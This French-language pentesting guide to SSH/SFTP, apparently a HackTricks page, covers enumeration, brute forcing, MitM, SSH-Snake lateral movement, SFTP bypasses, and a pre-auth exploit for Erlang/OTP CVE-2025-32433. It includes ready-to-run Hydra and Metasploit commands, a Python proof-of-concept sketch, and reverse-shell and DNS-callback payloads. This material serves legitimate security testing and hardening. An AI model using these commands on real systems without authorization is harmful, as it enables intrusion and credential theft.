22 - Pentesting SSH/SFTP

Reading time: 17 minutes

Informations de base

SSH (Secure Shell ou Secure Socket Shell) est un protocole réseau qui permet une connexion sécurisée à un ordinateur via un réseau non sécurisé. Il est essentiel pour maintenir la confidentialité et l'intégrité des données lors de l'accès à des systèmes distants.

Port par défaut : 22

22/tcp open  ssh     syn-ack

Serveurs SSH :

• openSSH – OpenBSD SSH, inclus dans les distributions BSD, Linux et Windows depuis Windows 10
• Dropbear – Implémentation SSH pour des environnements avec peu de mémoire et de ressources processeur, inclus dans OpenWrt
• PuTTY – Implémentation SSH pour Windows, le client est couramment utilisé mais l'utilisation du serveur est plus rare
• CopSSH – Implémentation d'OpenSSH pour Windows

Bibliothèques SSH (implémentant côté serveur) :

• libssh – Bibliothèque C multiplateforme implémentant le protocole SSHv2 avec des liaisons en Python, Perl et R; elle est utilisée par KDE pour sftp et par GitHub pour l'infrastructure git SSH
• wolfSSH – Bibliothèque de serveur SSHv2 écrite en ANSI C et ciblée pour des environnements embarqués, RTOS et à ressources limitées
• Apache MINA SSHD – La bibliothèque java Apache SSHD est basée sur Apache MINA
• paramiko – Bibliothèque de protocole SSHv2 en Python

Énumération

Récupération de bannière

nc -vn <IP> 22

Audit ssh automatisé

ssh-audit est un outil pour l'audit de la configuration des serveurs et clients ssh.

https://github.com/jtesta/ssh-audit est un fork mis à jour de https://github.com/arthepsy/ssh-audit/

Fonctionnalités :

• Support des serveurs de protocole SSH1 et SSH2 ;
• analyser la configuration du client SSH ;
• récupérer la bannière, reconnaître l'appareil ou le logiciel et le système d'exploitation, détecter la compression ;
• rassembler les algorithmes d'échange de clés, de clé hôte, de chiffrement et de code d'authentification de message ;
• afficher les informations sur les algorithmes (disponible depuis, supprimé/désactivé, non sécurisé/faible/ancien, etc.) ;
• afficher les recommandations sur les algorithmes (ajouter ou supprimer en fonction de la version du logiciel reconnue) ;
• afficher les informations de sécurité (problèmes liés, liste CVE assignée, etc.) ;
• analyser la compatibilité des versions SSH en fonction des informations sur les algorithmes ;
• informations historiques d'OpenSSH, Dropbear SSH et libssh ;
• fonctionne sur Linux et Windows ;
• aucune dépendance

usage: ssh-audit.py [-1246pbcnjvlt] <host>

-1,  --ssh1             force ssh version 1 only
-2,  --ssh2             force ssh version 2 only
-4,  --ipv4             enable IPv4 (order of precedence)
-6,  --ipv6             enable IPv6 (order of precedence)
-p,  --port=<port>      port to connect
-b,  --batch            batch output
-c,  --client-audit     starts a server on port 2222 to audit client
software config (use -p to change port;
use -t to change timeout)
-n,  --no-colors        disable colors
-j,  --json             JSON output
-v,  --verbose          verbose output
-l,  --level=<level>    minimum output level (info|warn|fail)
-t,  --timeout=<secs>   timeout (in seconds) for connection and reading
(default: 5)
$ python3 ssh-audit <IP>

Voir en action (Asciinema)

Clé SSH publique du serveur

ssh-keyscan -t rsa <IP> -p <PORT>

Algorithmes de chiffrement faibles

Cela est découvert par défaut par nmap. Mais vous pouvez également utiliser sslcan ou sslyze.

Scripts Nmap

nmap -p22 <ip> -sC # Send default nmap scripts for SSH
nmap -p22 <ip> -sV # Retrieve version
nmap -p22 <ip> --script ssh2-enum-algos # Retrieve supported algorythms
nmap -p22 <ip> --script ssh-hostkey --script-args ssh_hostkey=full # Retrieve weak keys
nmap -p22 <ip> --script ssh-auth-methods --script-args="ssh.user=root" # Check authentication methods

Shodan

• ssh

Force brute des noms d'utilisateur, mots de passe et clés privées

Énumération des noms d'utilisateur

Dans certaines versions d'OpenSSH, vous pouvez effectuer une attaque par temporisation pour énumérer les utilisateurs. Vous pouvez utiliser un module Metasploit pour exploiter cela :

msf> use scanner/ssh/ssh_enumusers

Brute force

Quelques identifiants ssh courants ici et ici et ci-dessous.

Force brute de clé privée

Si vous connaissez certaines clés privées ssh qui pourraient être utilisées... essayons. Vous pouvez utiliser le script nmap :

https://nmap.org/nsedoc/scripts/ssh-publickey-acceptance.html

Ou le module auxiliaire MSF :

msf> use scanner/ssh/ssh_identify_pubkeys

Ou utilisez ssh-keybrute.py (python3 natif, léger et avec des algorithmes hérités activés) : snowdroppe/ssh-keybrute.

Des clés mauvaises connues peuvent être trouvées ici :

ssh-badkeys/authorized at master \xc2\xb7 rapid7/ssh-badkeys \xc2\xb7 GitHub

Clés SSH faibles / PRNG prévisible Debian

Certains systèmes ont des défauts connus dans la graine aléatoire utilisée pour générer du matériel cryptographique. Cela peut entraîner une réduction dramatique de l'espace de clés qui peut être bruteforcé. Des ensembles de clés pré-générées générées sur des systèmes Debian affectés par un PRNG faible sont disponibles ici : g0tmi1k/debian-ssh.

Vous devriez regarder ici pour rechercher des clés valides pour la machine victime.

Kerberos

crackmapexec utilisant le protocole ssh peut utiliser l'option --kerberos pour s'authentifier via kerberos.
Pour plus d'infos, exécutez crackmapexec ssh --help.

Identifiants par défaut

SSH-MitM

Si vous êtes sur le réseau local de la victime qui va se connecter au serveur SSH en utilisant un nom d'utilisateur et un mot de passe, vous pourriez essayer de réaliser une attaque MitM pour voler ces identifiants :

Chemin d'attaque :

• Redirection de trafic : L'attaquant détourne le trafic de la victime vers sa machine, interceptant ainsi la tentative de connexion au serveur SSH.
• Interception et journalisation : La machine de l'attaquant agit comme un proxy, capturant les détails de connexion de l'utilisateur en prétendant être le serveur SSH légitime.
• Exécution de commandes et relais : Enfin, le serveur de l'attaquant enregistre les identifiants de l'utilisateur, transmet les commandes au véritable serveur SSH, les exécute, et renvoie les résultats à l'utilisateur, rendant le processus apparemment fluide et légitime.

SSH MITM fait exactement ce qui est décrit ci-dessus.

Pour capturer et réaliser le MitM réel, vous pourriez utiliser des techniques comme le spoofing ARP, le spoofing DNS ou d'autres décrites dans les attaques de spoofing réseau.

SSH-Snake

Si vous souhaitez traverser un réseau en utilisant des clés privées SSH découvertes sur des systèmes, en utilisant chaque clé privée sur chaque système pour de nouveaux hôtes, alors SSH-Snake est ce dont vous avez besoin.

SSH-Snake effectue automatiquement et de manière récursive les tâches suivantes :

1. Sur le système actuel, trouver toutes les clés privées SSH,
2. Sur le système actuel, trouver tous les hôtes ou destinations (user@host) que les clés privées peuvent accepter,
3. Tenter de SSH dans toutes les destinations en utilisant toutes les clés privées découvertes,
4. Si une destination est connectée avec succès, répéter les étapes #1 - #4 sur le système connecté.

C'est complètement auto-réplicant et auto-propagant -- et complètement sans fichier.

Mauvaises configurations

Connexion root

Il est courant que les serveurs SSH permettent la connexion de l'utilisateur root par défaut, ce qui pose un risque de sécurité significatif. Désactiver la connexion root est une étape critique pour sécuriser le serveur. L'accès non autorisé avec des privilèges administratifs et les attaques par force brute peuvent être atténués en effectuant ce changement.

Pour désactiver la connexion root dans OpenSSH :

1. Éditez le fichier de configuration SSH avec : sudoedit /etc/ssh/sshd_config
2. Changez le paramètre de #PermitRootLogin yes à PermitRootLogin no.
3. Rechargez la configuration en utilisant : sudo systemctl daemon-reload
4. Redémarrez le serveur SSH pour appliquer les changements : sudo systemctl restart sshd

Force brute SFTP

• Force brute SFTP

Exécution de commandes SFTP

Il y a une négligence courante qui se produit avec les configurations SFTP, où les administrateurs ont l'intention que les utilisateurs échangent des fichiers sans activer l'accès shell à distance. Malgré le fait de configurer les utilisateurs avec des shells non interactifs (par exemple, /usr/bin/nologin) et de les confiner à un répertoire spécifique, une faille de sécurité demeure. Les utilisateurs peuvent contourner ces restrictions en demandant l'exécution d'une commande (comme /bin/bash) immédiatement après s'être connectés, avant que leur shell non interactif désigné ne prenne le relais. Cela permet l'exécution non autorisée de commandes, sapant les mesures de sécurité prévues.

Exemple d'ici:

ssh -v noraj@192.168.1.94 id
...
Password:
debug1: Authentication succeeded (keyboard-interactive).
Authenticated to 192.168.1.94 ([192.168.1.94]:22).
debug1: channel 0: new [client-session]
debug1: Requesting no-more-sessions@openssh.com
debug1: Entering interactive session.
debug1: pledge: network
debug1: client_input_global_request: rtype hostkeys-00@openssh.com want_reply 0
debug1: Sending command: id
debug1: client_input_channel_req: channel 0 rtype exit-status reply 0
debug1: client_input_channel_req: channel 0 rtype eow@openssh.com reply 0
uid=1000(noraj) gid=100(users) groups=100(users)
debug1: channel 0: free: client-session, nchannels 1
Transferred: sent 2412, received 2480 bytes, in 0.1 seconds
Bytes per second: sent 43133.4, received 44349.5
debug1: Exit status 0

$ ssh noraj@192.168.1.94 /bin/bash

Voici un exemple de configuration SFTP sécurisée (/etc/ssh/sshd_config – openSSH) pour l'utilisateur noraj :

Match User noraj
ChrootDirectory %h
ForceCommand internal-sftp
AllowTcpForwarding no
PermitTunnel no
X11Forwarding no
PermitTTY no

Cette configuration permettra uniquement SFTP : désactivation de l'accès shell en forçant la commande de démarrage et désactivation de l'accès TTY, mais également désactivation de tout type de transfert de port ou de tunneling.

SFTP Tunneling

Si vous avez accès à un serveur SFTP, vous pouvez également faire passer votre trafic à travers cela, par exemple en utilisant le transfert de port commun :

sudo ssh -L <local_port>:<remote_host>:<remote_port> -N -f <username>@<ip_compromised>

SFTP Symlink

Le sftp a la commande "symlink". Par conséquent, si vous avez des droits d'écriture dans un dossier, vous pouvez créer des symlinks d'autres dossiers/fichiers. Comme vous êtes probablement piégé dans un chroot, cela ne sera pas particulièrement utile pour vous, mais, si vous pouvez accéder au symlink créé depuis un service no-chroot (par exemple, si vous pouvez accéder au symlink depuis le web), vous pourriez ouvrir les fichiers liés par le symlink via le web.

Par exemple, pour créer un symlink d'un nouveau fichier "froot" vers "/":

sftp> symlink / froot

Si vous pouvez accéder au fichier "froot" via le web, vous pourrez lister le dossier racine ("/") du système.

Méthodes d'authentification

Dans un environnement à haute sécurité, il est courant d'activer uniquement l'authentification par clé ou l'authentification à deux facteurs plutôt que l'authentification simple par mot de passe. Mais souvent, les méthodes d'authentification plus fortes sont activées sans désactiver les plus faibles. Un cas fréquent est l'activation de publickey dans la configuration openSSH et son paramétrage en tant que méthode par défaut sans désactiver password. Ainsi, en utilisant le mode verbeux du client SSH, un attaquant peut voir qu'une méthode plus faible est activée :

ssh -v 192.168.1.94
OpenSSH_8.1p1, OpenSSL 1.1.1d  10 Sep 2019
...
debug1: Authentications that can continue: publickey,password,keyboard-interactive

Par exemple, si une limite d'échec d'authentification est définie et que vous n'avez jamais la chance d'atteindre la méthode de mot de passe, vous pouvez utiliser l'option PreferredAuthentications pour forcer l'utilisation de cette méthode.

ssh -v 192.168.1.94 -o PreferredAuthentications=password
...
debug1: Next authentication method: password

Vérifier la configuration du serveur SSH est nécessaire pour s'assurer que seules les méthodes attendues sont autorisées. Utiliser le mode verbeux sur le client peut aider à voir l'efficacité de la configuration.

Config files

ssh_config
sshd_config
authorized_keys
ssh_known_hosts
known_hosts
id_rsa

Fuzzing

• https://packetstormsecurity.com/files/download/71252/sshfuzz.txt
• https://www.rapid7.com/db/modules/auxiliary/fuzzers/ssh/ssh_version_2

Contournement de la machine d'état d'authentification (RCE pré-auth)

Plusieurs implémentations de serveurs SSH contiennent des défauts logiques dans la machine d'état finie d'authentification qui permettent à un client d'envoyer des messages de protocole de connexion avant que l'authentification ne soit terminée. Comme le serveur ne vérifie pas qu'il est dans l'état correct, ces messages sont traités comme si l'utilisateur était entièrement authentifié, ce qui conduit à une exécution de code non authentifiée ou à la création de sessions.

Au niveau du protocole, tout message SSH avec un code de message ≥ 80 (0x50) appartient à la couche connexion (RFC 4254) et doit être accepté uniquement après une authentification réussie (RFC 4252). Si le serveur traite l'un de ces messages tout en étant encore dans l'état SSH_AUTHENTICATION, l'attaquant peut immédiatement créer un canal et demander des actions telles que l'exécution de commandes, le transfert de ports, etc.

Étapes d'exploitation génériques

1. Établir une connexion TCP au port SSH de la cible (généralement 22, mais d'autres services peuvent exposer Erlang/OTP sur 2022, 830, 2222…).
2. Créer un paquet SSH brut :

• 4 octets packet_length (big-endian)
• 1 octet message_code ≥ 80 (par exemple, SSH_MSG_CHANNEL_OPEN = 90, SSH_MSG_CHANNEL_REQUEST = 98)
• Charge utile qui sera comprise par le type de message choisi

3. Envoyer le(s) paquet(s) avant de compléter toute étape d'authentification.
4. Interagir avec les API du serveur qui sont maintenant exposées pré-auth (exécution de commandes, transfert de ports, accès au système de fichiers, …).

Esquisse de preuve de concept en Python :

import socket, struct
HOST, PORT = '10.10.10.10', 22
s = socket.create_connection((HOST, PORT))
# skip version exchange for brevity – send your own client banner then read server banner
# … key exchange can be skipped on vulnerable Erlang/OTP because the bug is hit immediately after the banner
# Packet: len(1)=1, SSH_MSG_CHANNEL_OPEN (90)
pkt  = struct.pack('>I', 1) + b'\x5a'  # 0x5a = 90
s.sendall(pkt)
# additional CHANNEL_REQUEST packets can follow to run commands

En pratique, vous devrez effectuer (ou sauter) l'échange de clés en fonction de l'implémentation cible, mais aucune authentification n'est jamais effectuée.

Erlang/OTP sshd (CVE-2025-32433)

• Versions affectées : OTP < 27.3.3, 26.2.5.11, 25.3.2.20
• Cause racine : le démon SSH natif d'Erlang ne valide pas l'état actuel avant d'invoquer ssh_connection:handle_msg/2. Par conséquent, tout paquet avec un code de message 80-255 atteint le gestionnaire de connexion alors que la session est encore dans l'état userauth.
• Impact : exécution de code à distance non authentifiée (le démon s'exécute généralement en tant que root sur des appareils embarqués/OT).

Exemple de charge utile qui génère un shell inversé lié au canal contrôlé par l'attaquant :

% open a channel first … then:
execSinet:cmd(Channel, "exec('/bin/sh', ['-i'], [{fd, Channel#channel.fd}, {pid, true}]).").

L'exécution de code à distance aveugle / la détection hors bande peut être effectuée via DNS :

execSinet:gethostbyname("<random>.dns.outbound.watchtowr.com").Zsession

Détection et atténuation :

• Inspecter le trafic SSH : rejeter tout paquet avec un code de message ≥ 80 observé avant l'authentification.
• Mettre à niveau Erlang/OTP vers 27.3.3 / 26.2.5.11 / 25.3.2.20 ou plus récent.
• Restreindre l'exposition des ports de gestion (22/2022/830/2222) – en particulier sur les équipements OT.

Autres implémentations affectées

• libssh 0.6 – 0.8 (côté serveur) – CVE-2018-10933 – accepte un SSH_MSG_USERAUTH_SUCCESS non authentifié envoyé par le client, ce qui constitue effectivement une faille de logique inverse.

La leçon commune est que toute déviation par rapport aux transitions d'état mandatées par le RFC peut être fatale ; lors de l'examen ou du fuzzing des démons SSH, prêtez une attention particulière à l'application de la machine à états.

Références

• Unit 42 – Erlang/OTP SSH CVE-2025-32433
• Guides de durcissement SSH
• Guide de hacking SSH de Turgensec

Commandes automatiques HackTricks

Protocol_Name: SSH
Port_Number: 22
Protocol_Description: Secure Shell Hardening

Entry_1:
Name: Hydra Brute Force
Description: Need Username
Command: hydra -v -V -u -l {Username} -P {Big_Passwordlist} -t 1 {IP} ssh

Entry_2:
Name: consolesless mfs enumeration
Description: SSH enumeration without the need to run msfconsole
Note: sourced from https://github.com/carlospolop/legion
Command: msfconsole -q -x 'use auxiliary/scanner/ssh/ssh_version; set RHOSTS {IP}; set RPORT 22; run; exit' && msfconsole -q -x 'use scanner/ssh/ssh_enumusers; set RHOSTS {IP}; set RPORT 22; run; exit' && msfconsole -q -x 'use auxiliary/scanner/ssh/juniper_backdoor; set RHOSTS {IP}; set RPORT 22; run; exit'